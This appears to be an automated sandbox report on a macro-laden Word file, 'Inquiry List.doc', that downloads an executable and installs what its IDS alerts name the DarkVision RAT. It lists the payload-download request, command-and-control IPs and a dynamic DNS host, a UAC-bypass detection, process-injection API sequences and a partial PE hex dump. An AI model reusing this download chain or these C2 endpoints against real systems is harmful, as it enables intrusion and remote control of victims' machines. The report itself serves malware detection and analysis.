Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737

Source: winword.exe

Memory has grown: Private usage: 1MB later: 47MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49755 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49749 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49753 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49752 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49758 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49749 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49757 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49990 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49990 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50007 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50013 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50001 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50019 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50025 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50033 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50037 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50036 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50038 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50035 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50039 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:50033 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50040 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50043 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:50039 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50041 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50044 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50034 -> 85.31.47.116:3440
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:50042 -> 85.31.47.116:3440

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 85.31.47.116 3440

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: acuweld.ddns.net

Uses dynamic DNS services

Source: unknown

DNS query: name: acuweld.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:49749 -> 85.31.47.116:3440

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Mon, 06 Jan 2025 19:30:17 GMTAccept-Ranges: bytesETag: "d6f8b96a7160db1:0"Server: Microsoft-IIS/8.5Date: Tue, 07 Jan 2025 12:25:32 GMTContent-Length: 3184128Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 82 a9 57 d0 c6 c8 39 83 c6 c8 39 83 c6 c8 39 83 a9 be 92 83 c2 c8 39 83 dd 55 a7 83 d3 c8 39 83 cf b0 ba 83 c2 c8 39 83 cf b0 aa 83 cf c8 39 83 c6 c8 38 83 4b c8 39 83 dd 55 92 83 8d c8 39 83 dd 55 93 83 b6 c8 39 83 dd 55 a2 83 c7 c8 39 83 dd 55 a3 83 c7 c8 39 83 dd 55 a4 83 c7 c8 39 83 52 69 63 68 c6 c8 39 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 96 e5 36 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 10 03 00 00 0e 05 00 00 00 00 00 00 b0 30 00 00 10 00 00 00 20 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 30 00 00 04 00 00 d1 3d 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 04 ab 30 00 86 01 00 00 6d 10 08 00 95 00 00 00 00 00 08 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 11 08 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 f0 07 00 00 10 00 00 00 f0 07 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 02 00 00 00 00 08 00 00 04 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 08 00 00 02 00 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 67 6e 61 75 6f 68 66 00 90 28 00 00 20 08 00 00 8e 28 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 75 68 6b 6d 6b 76 77 00 10 00 00 00 b0 30 00 00 02 00 00 00 94 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View

ASN Name: CLOUDCOMPUTINGDE CLOUDCOMPUTINGDE

Source: global traffic

HTTP traffic detected: GET /image.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 87.120.113.91

Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.113.91

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002E1580 setsockopt,setsockopt,WSACreateEvent,WSAEventSelect,shutdown,closesocket,WSAEnumNetworkEvents,shutdown,closesocket,recv,shutdown,closesocket,shutdown,closesocket,shutdown,closesocket,shutdown,closesocket,shutdown,closesocket,shutdown,closesocket,shutdown,closesocket,

5_2_002E1580

Source: global traffic

HTTP traffic detected: GET /image.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 87.120.113.91

Source: global traffic

DNS traffic detected: DNS query: acuweld.ddns.net

Source: C:\Windows\explorer.exe

Code function: 15_2_02E62310 WaitForSingleObject,RtlExitUserThread,GetAsyncKeyState,Sleep,OpenEventW,SetEvent,CloseHandle,RtlExitUserThread,

15_2_02E62310

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.windows.exe.d3cfb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.windows.exe.d3cfb0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 15.2.explorer.exe.2e50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 21.2.windows.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.windows.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 5.2.brightness.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: Inquiry List.doc	Stream path 'Macros/VBA/ThisDocument' : found possibly 'ADODB.Stream' functions open, savetofile, write
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'ADODB.Stream' functions open, savetofile, write			Name: AutoOpen

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: Inquiry List.doc	Stream path 'Macros/VBA/ThisDocument' : found possibly 'XMLHttpRequest' functions response, responsebody, open, send
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'XMLHttpRequest' functions response, responsebody, open, send			Name: AutoOpen

Office process drops PE file

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to dropped file

Office process queries suspicious COM object (likely to drop second stage)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\InProcServer32			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\InprocServer32			Jump to behavior

PE file contains section with special chars

Source: brightness.exe.0.dr	Static PE information: section name:
Source: brightness.exe.0.dr	Static PE information: section name: .idata
Source: windows.exe.5.dr	Static PE information: section name:
Source: windows.exe.5.dr	Static PE information: section name: .idata

Source: C:\ProgramData\windows\windows.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002D38D0 GetCurrentProcess,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,_memmove,CreateEventW,GetModuleHandle64,GetProcAddress64,X64Call,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,	5_2_002D38D0
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002CA1B0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	5_2_002CA1B0
